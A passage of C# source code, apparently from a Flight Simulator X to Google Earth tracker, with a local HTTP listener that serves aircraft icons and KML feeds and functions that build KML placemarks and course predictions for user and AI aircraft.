dResultLong = ppNew.dLong + dScale * (ppNew.dLong - ppOld.dLong);
dResultAlt = ppNew.dAlt + dScale * (ppNew.dAlt - ppOld.dAlt);
}
#region Old Calculation
//private void calcPositionByTime(double dLong, double dLat, double dAlt, double dSpeedX, double dSpeedY, double dSpeedZ, double dSeconds, ref double dResultLat, ref double dResultLong, ref double dResultAlt)
//{
// const double dRadEarth = 6371000.8;
// dResultLat = dLat + dSpeedZ * dSeconds / 1852.0;
// dResultAlt = dAlt + dSpeedY * dSeconds;
// double dLatMiddle = dLat + (dSpeedZ * dSeconds / 1852.0 / 2.0);
// dResultLong = dLong + (dSpeedX * dSeconds / (2.0 * Math.PI * dRadEarth / 360.0 * Math.Cos(dLatMiddle * Math.PI / 180.0)));
// //double dNewPosX = dSpeedX * dSeconds;
// //double dNewPosY = dSpeedY * dSeconds;
// //double dNewPosZ = dSpeedZ * dSeconds;
// //double dCosAngle = (dNewPosY * 1.0 + dNewPosZ * 0.0) / (Math.Sqrt(Math.Pow(dNewPosY, 2.0) + Math.Pow(dNewPosZ, 2.0)) * Math.Sqrt(Math.Pow(0.0, 2.0) + Math.Pow(1.0, 2.0)));
// //dResultLat = dLat + Math.Acos(dCosAngle / 180.0 * Math.PI);
// //// East-West-Position
// //dCosAngle = (dNewPosX * 1.0 + dNewPosY * 0.0) / (Math.Sqrt(Math.Pow(dNewPosX, 2.0) + Math.Pow(dNewPosY, 2.0)) * Math.Sqrt(Math.Pow(1.0, 2.0) + Math.Pow(0.0, 2.0)));
// //dResultLong = dLong + Math.Acos(dCosAngle / 180.0 * Math.PI);
// //// Altitude
// //dResultAlt = dAlt + Math.Sqrt(Math.Pow(dNewPosX, 2.0) + Math.Pow(dNewPosY, 2.0) + Math.Pow(dNewPosZ, 2.0));
// //const double dRadEarth = 6371000.8;
// ////x' = cos(theta)*x - sin(theta)*y
// ////y' = sin(theta)*x + cos(theta)*y
// //// Calculate North-South-Position
// //double dTempX = dAlt + dRadEarth;
// //double dTempY = 0.0;
// //double dPosY = Math.Cos(dLat) * dTempX - Math.Sin(dLat) * dTempY;
// //double dPosZ = Math.Sin(dLat) * dTempX - Math.Cos(dLat) * dTempY;
// //// Calculate East-West-Position
// //dTempX = dAlt + dRadEarth;
// //dTempY = 0;
// //double dPosX = Math.Cos(dLong) * dTempX - Math.Sin(dLong) * dTempY;
// ////dPosZ = Math.Sin(dLat) * dTempX - Math.Cos(dLat) * dTempY;
// //// Normalize
// //double dLength = Math.Sqrt(Math.Pow(dPosX, 2.0) + Math.Pow(dPosY, 2.0) + Math.Pow(dPosZ, 2.0));
// //dPosX = dPosX / dLength * (dAlt + dRadEarth);
// //dPosY = dPosY / dLength * (dAlt + dRadEarth);
// //dPosZ = dPosZ / dLength * (dAlt + dRadEarth);
// //double dTest = Math.Sqrt(Math.Pow(dPosX, 2.0) + Math.Pow(dPosY, 2.0) + Math.Pow(dPosZ, 2.0)) - dRadEarth;
// //// Calculate position after given time
// //double dNewPosX = dPosX + dSpeedX * dSeconds;
// //double dNewPosY = dPosY + dSpeedY * dSeconds;
// //double dNewPosZ = dPosZ + dSpeedZ * dSeconds;
// //// Now again translate into lat-long-coordinates
// //// North-South-Position
// //double dCosAngle = (dNewPosY * dPosY + dNewPosZ * dPosZ) / (Math.Sqrt(Math.Pow(dNewPosY, 2.0) + Math.Pow(dNewPosZ, 2.0)) * Math.Sqrt(Math.Pow(dPosY, 2.0) + Math.Pow(dPosZ, 2.0)));
// //dResultLat = dLat + Math.Acos(dCosAngle / 180.0 * Math.PI);
// //// East-West-Position
// //dCosAngle = (dNewPosX * dPosX + dNewPosY * dPosY) / (Math.Sqrt(Math.Pow(dNewPosX, 2.0) + Math.Pow(dNewPosY, 2.0)) * Math.Sqrt(Math.Pow(dPosX, 2.0) + Math.Pow(dPosY, 2.0)));
// //dResultLong = dLong + Math.Acos(dCosAngle / 180.0 * Math.PI);
// //// Altitude
// //dResultAlt = Math.Sqrt(Math.Pow(dNewPosX, 2.0) + Math.Pow(dNewPosY, 2.0) + Math.Pow(dNewPosZ, 2.0)) - dRadEarth;
//}
#endregion
#endregion
#region Server
public void ListenerCallback(IAsyncResult result)
{
lock (lockListenerControl)
{
HttpListener listener = (HttpListener)result.AsyncState;
if (!listener.IsListening)
return;
HttpListenerContext context = listener.EndGetContext(result);
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
// This code using the objects IsLocal property doesn't work for some reason ...
//if (gconffixCurrent.uiServerAccessLevel == 0 && !request.IsLocal)
//{
// response.Abort();
// return;
//}
// ... so I'm using my own code.
if (gconffixCurrent.uiServerAccessLevel == 0 && !IsLocalHostIP(request.RemoteEndPoint.Address))
{
response.Abort();
return;
}
byte[] buffer = System.Text.Encoding.UTF8.GetBytes("");
String szHeader = "";
bool bContentSet = false;
if (request.Url.PathAndQuery.ToLower().StartsWith("/gfx/scenery/air/"))
{
String szTemp = request.Url.PathAndQuery.Substring(17);
if (szTemp.Length >= 4)
{
// Cut the .png suffix from the url
szTemp = szTemp.Substring(0, szTemp.Length - 4);
foreach (ObjectImage aimgCurrent in listImgUnitsAir)
{
String szTemp2 = HttpUtility.UrlDecode(szTemp);
if (aimgCurrent.szTitle.ToLower() == HttpUtility.UrlDecode(szTemp).ToLower())
{
buffer = aimgCurrent.bData;
szHeader = "image/png";
bContentSet = true;
break;
}
}
if (!bContentSet)
{
buffer = imgNoImage;
szHeader = "image/png";
bContentSet = true;
}
}
}
else if (request.Url.PathAndQuery.ToLower().StartsWith("/gfx/scenery/water/"))
{
String szTemp = request.Url.PathAndQuery.Substring(19);
if (szTemp.Length >= 4)
{
// Cut the .png suffix from the url
szTemp = szTemp.Substring(0, szTemp.Length - 4);
foreach (ObjectImage aimgCurrent in listImgUnitsWater)
{
String szTemp2 = HttpUtility.UrlDecode(szTemp);
if (aimgCurrent.szTitle.ToLower() == HttpUtility.UrlDecode(szTemp).ToLower())
{
buffer = aimgCurrent.bData;
szHeader = "image/png";
bContentSet = true;
break;
}
}
if (!bContentSet)
{
buffer = imgNoImage;
szHeader = "image/png";
bContentSet = true;
}
}
}
else if (request.Url.PathAndQuery.ToLower().StartsWith("/gfx/scenery/ground/"))
{
String szTemp = request.Url.PathAndQuery.Substring(20);
if (szTemp.Length >= 4)
{
// Cut the .png suffix from the url
szTemp = szTemp.Substring(0, szTemp.Length - 4);
foreach (ObjectImage aimgCurrent in listImgUnitsGround)
{
String szTemp2 = HttpUtility.UrlDecode(szTemp);
if (aimgCurrent.szTitle.ToLower() == HttpUtility.UrlDecode(szTemp).ToLower())
{
buffer = aimgCurrent.bData;
szHeader = "image/png";
bContentSet = true;
break;
}
}
if (!bContentSet)
{
buffer = imgNoImage;
szHeader = "image/png";
bContentSet = true;
}
}
}
else if (request.Url.PathAndQuery.ToLower().StartsWith("/gfx/ge/icons/"))
{
String szTemp = request.Url.PathAndQuery.Substring(14);
if (szTemp.Length >= 4)
{
// Cut the .png suffix from the url
szTemp = szTemp.Substring(0, szTemp.Length - 4);
buffer = null;
foreach (ObjectImage oimgTemp in listIconsGE)
{
if (oimgTemp.szTitle.ToLower() == szTemp.ToLower())
{
szHeader = "image/png";
buffer = oimgTemp.bData;
bContentSet = true;
break;
}
}
if (!bContentSet)
{
buffer = imgNoImage;
szHeader = "image/png";
bContentSet = true;
}
}
}
else if (request.Url.PathAndQuery.ToLower() == "/fsxu.kml")
{
bContentSet = true;
szHeader = "application/vnd.google-earth.kml+xml";
buffer = System.Text.Encoding.UTF8.GetBytes(KmlGenFile(KML_FILES.REQUEST_USER_AIRCRAFT, KML_ACCESS_MODES.MODE_SERVER, true, (uint)gconffixCurrent.iUpdateGEUserAircraft, request.UserHostName));
}
else if (request.Url.PathAndQuery.ToLower() == "/fsxp.kml")
{
bContentSet = true;
szHeader = "application/vnd.google-earth.kml+xml";
buffer = System.Text.Encoding.UTF8.GetBytes(KmlGenFile(KML_FILES.REQUEST_USER_PATH, KML_ACCESS_MODES.MODE_SERVER, true, (uint)gconffixCurrent.iUpdateGEUserPath, request.UserHostName));
}
else if (request.Url.PathAndQuery.ToLower() == "/fsxpre.kml")
{
bContentSet = true;
szHeader = "application/vnd.google-earth.kml+xml";
buffer = System.Text.Encoding.UTF8.GetBytes(KmlGenFile(KML_FILES.REQUEST_USER_PREDICTION, KML_ACCESS_MODES.MODE_SERVER, true, (uint)gconffixCurrent.iUpdateGEUserPrediction, request.UserHostName));
}
else if (request.Url.PathAndQuery.ToLower() == "/fsxaip.kml")
{
bContentSet = true;
szHeader = "application/vnd.google-earth.kml+xml";
buffer = System.Text.Encoding.UTF8.GetBytes(KmlGenFile(KML_FILES.REQUEST_AI_PLANE, KML_ACCESS_MODES.MODE_SERVER, true, (uint)gconffixCurrent.iUpdateGEAIAircrafts, request.UserHostName));
}
else if (request.Url.PathAndQuery.ToLower() == "/fsxaih.kml")
{
bContentSet = true;
szHeader = "application/vnd.google-earth.kml+xml";
buffer = System.Text.Encoding.UTF8.GetBytes(KmlGenFile(KML_FILES.REQUEST_AI_HELICOPTER, KML_ACCESS_MODES.MODE_SERVER, true, (uint)gconffixCurrent.iUpdateGEAIHelicopters, request.UserHostName));
}
else if (request.Url.PathAndQuery.ToLower() == "/fsxaib.kml")
{
bContentSet = true;
szHeader = "application/vnd.google-earth.kml+xml";
buffer = System.Text.Encoding.UTF8.GetBytes(KmlGenFile(KML_FILES.REQUEST_AI_BOAT, KML_ACCESS_MODES.MODE_SERVER, true, (uint)gconffixCurrent.iUpdateGEAIBoats, request.UserHostName));
}
else if (request.Url.PathAndQuery.ToLower() == "/fsxaig.kml")
{
bContentSet = true;
szHeader = "application/vnd.google-earth.kml+xml";
buffer = System.Text.Encoding.UTF8.GetBytes(KmlGenFile(KML_FILES.REQUEST_AI_GROUND, KML_ACCESS_MODES.MODE_SERVER, true, (uint)gconffixCurrent.iUpdateGEAIGroundUnits, request.UserHostName));
}
else if (request.Url.PathAndQuery.ToLower() == "/fsxflightplans.kml")
{
bContentSet = true;
szHeader = "application/vnd.google-earth.kml+xml";
buffer = System.Text.Encoding.UTF8.GetBytes(KmlGenFile(KML_FILES.REQUEST_FLIGHT_PLANS, KML_ACCESS_MODES.MODE_SERVER, false, 0, request.UserHostName));
}
else if (request.Url.AbsolutePath.ToLower() == "/gfx/ge/label.png")
{
bContentSet = true;
szHeader = "image/png";
buffer = KmlGenAtcLabel(request.QueryString["code"], request.QueryString["fl"], request.QueryString["aircraft"], request.QueryString["speed"], request.QueryString["vspeed"]);
}
else
bContentSet = false;
if (bContentSet)
{
response.AddHeader("Content-type", szHeader);
response.ContentLength64 = buffer.Length;
System.IO.Stream output = response.OutputStream;
output.Write(buffer, 0, buffer.Length);
output.Close();
}
else
{
response.StatusCode = 404;
response.Close();
}
listener.BeginGetContext(new AsyncCallback(ListenerCallback), listener);
}
}
private String KmlGenFile(KML_FILES kmlfWanted, KML_ACCESS_MODES AccessMode, bool bExpires, uint uiSeconds, String szSever)
{
String szTemp = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><kml xmlns=\"http://earth.google.com/kml/2.1\">" +
KmlGetExpireString(bExpires, uiSeconds) +
"<Document>";
switch (kmlfWanted)
{
case KML_FILES.REQUEST_USER_AIRCRAFT:
szTemp += KmlGenUserPosition(AccessMode, szSever);
break;
case KML_FILES.REQUEST_USER_PATH:
szTemp += KmlGenUserPath(AccessMode, szSever);
break;
case KML_FILES.REQUEST_USER_PREDICTION:
szTemp += KmlGenUserPrediction(AccessMode, szSever);
break;
case KML_FILES.REQUEST_AI_PLANE:
szTemp += KmlGenAIAircraft(AccessMode, szSever);
break;
case KML_FILES.REQUEST_AI_HELICOPTER:
szTemp += KmlGenAIHelicopter(AccessMode, szSever);
break;
case KML_FILES.REQUEST_AI_BOAT:
szTemp += KmlGenAIBoat(AccessMode, szSever);
break;
case KML_FILES.REQUEST_AI_GROUND:
szTemp += KmlGenAIGroundUnit(AccessMode, szSever);
break;
//case KML_FILES.REQUEST_FLIGHT_PLANS:
// szTemp += KmlGenFlightPlans(AccessMode, szSever);
// break;
default:
break;
}
szTemp += "</Document></kml>";
return szTemp;
}
private String KmlGetExpireString(bool bExpires, uint uiSeconds)
{
if (!bExpires)
return "";
DateTime date = DateTime.Now;
date = date.AddSeconds(uiSeconds);
date = date.ToUniversalTime();
return "<NetworkLinkControl><expires>" + date.ToString("yyyy") + "-" + date.ToString("MM") + "-" + date.ToString("dd") + "T" + date.ToString("HH") + ":" + date.ToString("mm") + ":" + date.ToString("ss") + "Z" + "</expires></NetworkLinkControl>";
}
private String KmlGetImageLink(KML_ACCESS_MODES AccessMode, KML_IMAGE_TYPES ImageType, String szTitle, String szServer)
{
if (AccessMode == KML_ACCESS_MODES.MODE_SERVER)
{
String szPrefix = "";
switch (ImageType)
{
case KML_IMAGE_TYPES.AIRCRAFT:
szPrefix = "/gfx/scenery/air/";
break;
case KML_IMAGE_TYPES.WATER:
szPrefix = "/gfx/scenery/water/";
break;
case KML_IMAGE_TYPES.GROUND:
szPrefix = "/gfx/scenery/ground/";
break;
}
return "http://" + szServer + szPrefix + szTitle + ".png";
}
else
{
List<ObjectImage> listTemp;
switch (ImageType)
{
case KML_IMAGE_TYPES.AIRCRAFT:
listTemp = listImgUnitsAir;
break;
case KML_IMAGE_TYPES.WATER:
listTemp = listImgUnitsWater;
break;
case KML_IMAGE_TYPES.GROUND:
listTemp = listImgUnitsGround;
break;
default:
return "";
}
foreach (ObjectImage oimgTemp in listTemp)
{
if (oimgTemp.szTitle.ToLower() == szTitle.ToLower())
{
if (AccessMode == KML_ACCESS_MODES.MODE_FILE_LOCAL)
return szFilePathPub + oimgTemp.szPath;
else if (AccessMode == KML_ACCESS_MODES.MODE_FILE_USERDEFINED)
return gconffixCurrent.szUserdefinedPath + oimgTemp.szPath;
}
}
return "";
}
}
private String KmlGetIconLink(KML_ACCESS_MODES AccessMode, KML_ICON_TYPES IconType, String szServer)
{
String szIcon = "";
switch (IconType)
{
case KML_ICON_TYPES.USER_AIRCRAFT_POSITION:
szIcon = "fsxu";
break;
case KML_ICON_TYPES.USER_PREDICTION_POINT:
szIcon = "fsxpm";
break;
case KML_ICON_TYPES.AI_AIRCRAFT:
szIcon = "fsxaip";
break;
case KML_ICON_TYPES.AI_HELICOPTER:
szIcon = "fsxaih";
break;
case KML_ICON_TYPES.AI_BOAT:
szIcon = "fsxaib";
break;
case KML_ICON_TYPES.AI_GROUND_UNIT:
szIcon = "fsxaig";
break;
case KML_ICON_TYPES.AI_AIRCRAFT_PREDICTION_POINT:
szIcon = "fsxaippp";
break;
case KML_ICON_TYPES.AI_HELICOPTER_PREDICTION_POINT:
szIcon = "fsxaihpp";
break;
case KML_ICON_TYPES.AI_BOAT_PREDICTION_POINT:
szIcon = "fsxaibpp";
break;
case KML_ICON_TYPES.AI_GROUND_PREDICTION_POINT:
szIcon = "fsxaigpp";
break;
case KML_ICON_TYPES.PLAN_INTER:
szIcon = "plan-inter";
break;
case KML_ICON_TYPES.PLAN_NDB:
szIcon = "plan-ndb";
break;
case KML_ICON_TYPES.PLAN_PORT:
szIcon = "plan-port";
break;
case KML_ICON_TYPES.PLAN_USER:
szIcon = "plan-user";
break;
case KML_ICON_TYPES.PLAN_VOR:
szIcon = "plan-vor";
break;
case KML_ICON_TYPES.ATC_LABEL:
return "http://" + szServer + "/gfx/ge/label.png";
}
if (AccessMode == KML_ACCESS_MODES.MODE_SERVER)
{
return "http://" + szServer + "/gfx/ge/icons/" + szIcon + ".png";
}
else
{
foreach (ObjectImage oimgTemp in listIconsGE)
{
if (oimgTemp.szTitle.ToLower() == szIcon.ToLower())
{
if (AccessMode == KML_ACCESS_MODES.MODE_FILE_LOCAL)
return szFilePathPub + oimgTemp.szPath;
else if (AccessMode == KML_ACCESS_MODES.MODE_FILE_USERDEFINED)
return gconffixCurrent.szUserdefinedPath + oimgTemp.szPath;
}
}
return "";
}
}
private String KmlGenETAPoints(ref PathPositionStored[] ppsCurrent, bool bGenerate, KML_ACCESS_MODES AccessMode, KML_ICON_TYPES Icon, String szServer)
{
if (ppsCurrent == null)
return "";
if (bGenerate)
{
String szTemp = "<Folder><name>ETA Points</name>";
for (uint n = 0; n < ppsCurrent.GetLength(0); n++)
szTemp += "<Placemark>" +
"<name>ETA " + ((ppsCurrent[n].dTime < 60.0) ? (((int)ppsCurrent[n].dTime).ToString() + " sec") : (ppsCurrent[n].dTime / 60.0 + " min")) + "</name><visibility>1</visibility><open>0</open>" +
"<description><![CDATA[Esitmated Position]]></description>" +
"<Style>" +
"<IconStyle><Icon><href>" + KmlGetIconLink(AccessMode, Icon, szServer) + "</href></Icon><scale>0.2</scale></IconStyle>" +
"<LabelStyle><scale>0.4</scale></LabelStyle>" +
"</Style>" +
"<Point><altitudeMode>absolute</altitudeMode><coordinates>" + ppsCurrent[n].dLong.ToString().Replace(",", ".") + "," + ppsCurrent[n].dLat.ToString().Replace(",", ".") + "," + ppsCurrent[n].dAlt.ToString().Replace(",", ".") + "</coordinates><extrude>1</extrude></Point></Placemark>";
return szTemp + "</Folder>";
}
else
return "";
}
private String KmlGenUserPosition(KML_ACCESS_MODES AccessMode, String szServer)
{
lock (lockKmlUserAircraft)
{
return "<Placemark>" +
"<name>User Aircraft Position</name><visibility>1</visibility><open>0</open>" +
"<description><![CDATA[Microsoft Flight Simulator X - User Aircraft<br> <br>" +
"<b>Title:</b> " + suadCurrent.szTitle + "<br> <br>" +
"<b>Type:</b> " + suadCurrent.szATCType + "<br>" +
"<b>Model:</b> " + suadCurrent.szATCModel + "<br> <br>" +
"<b>Identification:</b> " + suadCurrent.szATCID + "<br> <br>" +
"<b>Flight Number:</b> " + suadCurrent.szATCFlightNumber + "<br>" +
"<b>Airline:</b> " + suadCurrent.szATCAirline + "<br> <br>" +
"<b>Altitude:</b> " + ((int)getValueInCurrentUnit(suadCurrent.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "<br> <br>" +
"<center><img src=\"" + KmlGetImageLink(AccessMode, KML_IMAGE_TYPES.AIRCRAFT, suadCurrent.szTitle, szServer) + "\"></center>]]></description>" +
"<Snippet>" + suadCurrent.szATCType + " " + suadCurrent.szATCModel + " (" + suadCurrent.szTitle + "), " + suadCurrent.szATCID + "\nAltitude: " + ((int)getValueInCurrentUnit(suadCurrent.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "</Snippet>" +
"<Style>" +
"<IconStyle><Icon><href>" + KmlGetIconLink(AccessMode, KML_ICON_TYPES.USER_AIRCRAFT_POSITION, szServer) + "</href></Icon><scale>0.8</scale></IconStyle>" +
"<LabelStyle><scale>1.0</scale></LabelStyle>" +
"</Style>" +
"<Point><altitudeMode>absolute</altitudeMode><coordinates>" + suadCurrent.dLongitude.ToString().Replace(",", ".") + "," + suadCurrent.dLatitude.ToString().Replace(",", ".") + "," + suadCurrent.dAltitude.ToString().Replace(",", ".") + "</coordinates><extrude>1</extrude></Point></Placemark>";
}
}
private String KmlGenUserPath(KML_ACCESS_MODES AccessMode, String szServer)
{
lock (lockKmlUserPath)
{
return "<Placemark><name>User Aircraft Path</name><description>Path of the user aircraft since tracking started.</description><visibility>1</visibility><open>0</open><Style><LineStyle><color>9fffffff</color><width>2</width></LineStyle></Style><LineString><altitudeMode>absolute</altitudeMode><coordinates>" + szKmlUserAircraftPath + "</coordinates></LineString></Placemark>";
}
}
private String KmlGenUserPrediction(KML_ACCESS_MODES AccessMode, String szServer)
{
String szTemp = "";
lock (lockKmlUserPrediction)
{
szTemp = "<Placemark><name>User Aircraft Path Prediction</name><description>Path prediction of the user aircraft.</description><visibility>1</visibility><open>0</open><Style><LineStyle><color>9f00ffff</color><width>2</width></LineStyle></Style><LineString><altitudeMode>absolute</altitudeMode><coordinates>" + szKmlUserPrediction + "</coordinates></LineString></Placemark>" +
"<Folder><name>ETA Points</name>";
foreach (PathPositionStored ppsTemp in listKmlPredictionPoints)
{
szTemp += "<Placemark>" +
"<name>ETA " + ((ppsTemp.dTime < 60.0) ? (((int)ppsTemp.dTime).ToString() + " sec") : (ppsTemp.dTime / 60.0 + " min")) + "</name><visibility>1</visibility><open>0</open>" +
"<description><![CDATA[Esitmated Position]]></description>" +
"<Style>" +
"<IconStyle><Icon><href>" + KmlGetIconLink(AccessMode, KML_ICON_TYPES.USER_PREDICTION_POINT, szServer) + "</href></Icon><scale>0.2</scale></IconStyle>" +
"<LabelStyle><scale>0.4</scale></LabelStyle>" +
"</Style>" +
"<Point><altitudeMode>absolute</altitudeMode><coordinates>" + ppsTemp.dLong.ToString().Replace(",", ".") + "," + ppsTemp.dLat.ToString().Replace(",", ".") + "," + ppsTemp.dAlt.ToString().Replace(",", ".") + "</coordinates><extrude>1</extrude></Point></Placemark>";
}
}
return szTemp + "</Folder>";
}
private String KmlGenAIAircraft(KML_ACCESS_MODES AccessMode, String szServer)
{
String szTemp = "<Folder><name>Aircraft Positions</name>";
lock (lockDrrAiPlanes)
{
List<DataRequestReturnObject> listTemp = GetCurrentList(ref drrAIPlanes);
foreach (DataRequestReturnObject bmsoTemp in listTemp)
{
//szTemp += "<Placemark>" +
// "<name>" + bmsoTemp.bmsoObject.szATCType + " " + bmsoTemp.bmsoObject.szATCModel + " (" + bmsoTemp.bmsoObject.szATCID + ")</name><visibility>1</visibility><open>0</open>" +
// "<description><![CDATA[Microsoft Flight Simulator X - AI Plane<br> <br>" +
// "<b>Title:</b> " + bmsoTemp.bmsoObject.szTitle + "<br> <br>" +
// "<b>Type:</b> " + bmsoTemp.bmsoObject.szATCType + "<br>" +
// "<b>Model:</b> " + bmsoTemp.bmsoObject.szATCModel + "<br> <br>" +
// "<b>Identification:</b> " + bmsoTemp.bmsoObject.szATCID + "<br> <br>" +
// "<b>Flight Number:</b> " + bmsoTemp.bmsoObject.szATCFlightNumber + "<br>" +
// "<b>Airline:</b> " + bmsoTemp.bmsoObject.szATCAirline + "<br> <br>" +
// "<b>Altitude:</b> " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "<br> <br>" +
// "<center><img src=\"" + KmlGetImageLink(AccessMode, KML_IMAGE_TYPES.AIRCRAFT, bmsoTemp.bmsoObject.szTitle, szServer) + "\"></center>]]></description>" +
// "<Snippet>" + bmsoTemp.bmsoObject.szTitle + "\nAltitude: " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "</Snippet>" +
// "<Style>" +
// "<IconStyle><Icon><href>" + KmlGetIconLink(AccessMode, KML_ICON_TYPES.AI_AIRCRAFT, szServer) + "</href></Icon><scale>0.6</scale></IconStyle>" +
// "<LabelStyle><scale>0.6</scale></LabelStyle>" +
// "</Style>" +
// "<Point><altitudeMode>absolute</altitudeMode><coordinates>" + bmsoTemp.bmsoObject.dLongitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dLatitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dAltitude.ToString().Replace(",", ".") + "</coordinates><extrude>1</extrude></Point></Placemark>";
int FL = (int)Math.Round(getValueInUnit(bmsoTemp.bmsoObject.dAltitude, UnitType.FEET) / 100.0, 0);
int FLRound = FL - (FL % 10);
szTemp += "<Placemark>" +
"<name>" + bmsoTemp.bmsoObject.szATCType + " " + bmsoTemp.bmsoObject.szATCModel + " (" + bmsoTemp.bmsoObject.szATCID + ")</name><visibility>1</visibility><open>0</open>" +
"<description><![CDATA[Microsoft Flight Simulator X - AI Plane<br> <br>" +
"<b>Title:</b> " + bmsoTemp.bmsoObject.szTitle + "<br> <br>" +
"<b>Type:</b> " + bmsoTemp.bmsoObject.szATCType + "<br>" +
"<b>Model:</b> " + bmsoTemp.bmsoObject.szATCModel + "<br> <br>" +
"<b>Identification:</b> " + bmsoTemp.bmsoObject.szATCID + "<br> <br>" +
"<b>Flight Number:</b> " + bmsoTemp.bmsoObject.szATCFlightNumber + "<br>" +
"<b>Airline:</b> " + bmsoTemp.bmsoObject.szATCAirline + "<br> <br>" +
"<b>Altitude:</b> " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "<br> <br>" +
"<center><img src=\"" + KmlGetImageLink(AccessMode, KML_IMAGE_TYPES.AIRCRAFT, bmsoTemp.bmsoObject.szTitle, szServer) + "\"></center>]]></description>" +
"<Snippet>" + bmsoTemp.bmsoObject.szTitle + "\nAltitude: " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "</Snippet>" +
"<Style>" +
"<IconStyle><Icon><href>" + KmlGetIconLink(AccessMode, KML_ICON_TYPES.ATC_LABEL, szServer) + "?code=" + bmsoTemp.bmsoObject.szATCID + "&fl=FL" + FLRound.ToString() + "&speed=" + Math.Round(bmsoTemp.bmsoObject.dSpeed, 0).ToString() + " kn&vspeed=" + (bmsoTemp.bmsoObject.dVSpeed > 0.0 ? "%2F%5C" : (bmsoTemp.bmsoObject.dVSpeed == 0.0 ? "-" : "%5C%2F")) + "&aircraft=" + bmsoTemp.bmsoObject.szATCModel + "</href></Icon><scale>2.5</scale> <hotSpot x=\"30\" y=\"50\" xunits=\"pixels\" yunits=\"pixels\"/></IconStyle>" +
"<LabelStyle><scale>0.6</scale></LabelStyle>" +
"</Style>" +
"<Point><altitudeMode>absolute</altitudeMode><coordinates>" + bmsoTemp.bmsoObject.dLongitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dLatitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dAltitude.ToString().Replace(",", ".") + "</coordinates><extrude>1</extrude></Point></Placemark>";
}
szTemp += "</Folder>";
if (gconffixCurrent.bPredictAIAircrafts)
{
szTemp += "<Folder><name>Aircraft Courses</name>";
foreach (DataRequestReturnObject bmsoTemp in listTemp)
{
if (bmsoTemp.szCoursePrediction == "")
continue;
szTemp += "<Placemark><name>" + bmsoTemp.bmsoObject.szATCType + " " + bmsoTemp.bmsoObject.szATCModel + " (" + bmsoTemp.bmsoObject.szATCID + ")</name><description>Course prediction of the aircraft.</description><visibility>1</visibility><open>0</open><Style><LineStyle><color>9fd20091</color><width>2</width></LineStyle></Style><LineString><altitudeMode>absolute</altitudeMode><coordinates>" + bmsoTemp.szCoursePrediction + "</coordinates></LineString></Placemark>";
PathPositionStored[] ppsTemp = bmsoTemp.ppsPredictionPoints;
szTemp += KmlGenETAPoints(ref ppsTemp, gconffixCurrent.bPredictPointsAIAircrafts, AccessMode, KML_ICON_TYPES.AI_AIRCRAFT_PREDICTION_POINT, szServer);
}
szTemp += "</Folder>";
}
}
return szTemp;
}
private String KmlGenAIHelicopter(KML_ACCESS_MODES AccessMode, String szServer)
{
String szTemp = "<Folder><name>Helicopter Positions</name>";
lock (lockDrrAiHelicopters)
{
List<DataRequestReturnObject> listTemp = GetCurrentList(ref drrAIHelicopters);
foreach (DataRequestReturnObject bmsoTemp in listTemp)
{
szTemp += "<Placemark>" +
"<name>" + bmsoTemp.bmsoObject.szATCType + " " + bmsoTemp.bmsoObject.szATCModel + " (" + bmsoTemp.bmsoObject.szATCID + ")</name><visibility>1</visibility><open>0</open>" +
"<description><![CDATA[Microsoft Flight Simulator X - AI Helicopter<br> <br>" +
"<b>Title:</b> " + bmsoTemp.bmsoObject.szTitle + "<br> <br>" +
"<b>Type:</b> " + bmsoTemp.bmsoObject.szATCType + "<br>" +
"<b>Model:</b> " + bmsoTemp.bmsoObject.szATCModel + "<br> <br>" +
"<b>Identification:</b> " + bmsoTemp.bmsoObject.szATCID + "<br> <br>" +
"<b>Flight Number:</b> " + bmsoTemp.bmsoObject.szATCFlightNumber + "<br>" +
"<b>Airline:</b> " + bmsoTemp.bmsoObject.szATCAirline + "<br> <br>" +
"<b>Altitude:</b> " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "<br> <br>" +
"<center><img src=\"" + KmlGetImageLink(AccessMode, KML_IMAGE_TYPES.AIRCRAFT, bmsoTemp.bmsoObject.szTitle, szServer) + "\"></center>]]></description>" +
"<Snippet>" + bmsoTemp.bmsoObject.szTitle + "\nAltitude: " + ((int)getValueInCurrentUnit(bmsoTemp.bmsoObject.dAltitude)).ToString().Replace(",", ".") + " " + getCurrentUnitNameShort() + "</Snippet>" +
"<Style>" +
"<IconStyle><Icon><href>" + KmlGetIconLink(AccessMode, KML_ICON_TYPES.AI_HELICOPTER, szServer) + "</href></Icon><scale>0.6</scale></IconStyle>" +
"<LabelStyle><scale>0.6</scale></LabelStyle>" +
"</Style>" +
"<Point><altitudeMode>absolute</altitudeMode><coordinates>" + bmsoTemp.bmsoObject.dLongitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dLatitude.ToString().Replace(",", ".") + "," + bmsoTemp.bmsoObject.dAltitude.ToString().Replace(",", ".") + "</coordinates><extrude>1</extrude></Point></Placemark>";
}
szTemp += "</Folder>";
if (gconffixCurrent.bPredictAIHelicopters)
{
szTemp += "<Folder><name>Helicopter Courses</name>";
foreach (DataRequestReturnObject bmsoTemp in listTemp)
{
if (bmsoTemp.szCoursePrediction == "")
continue;
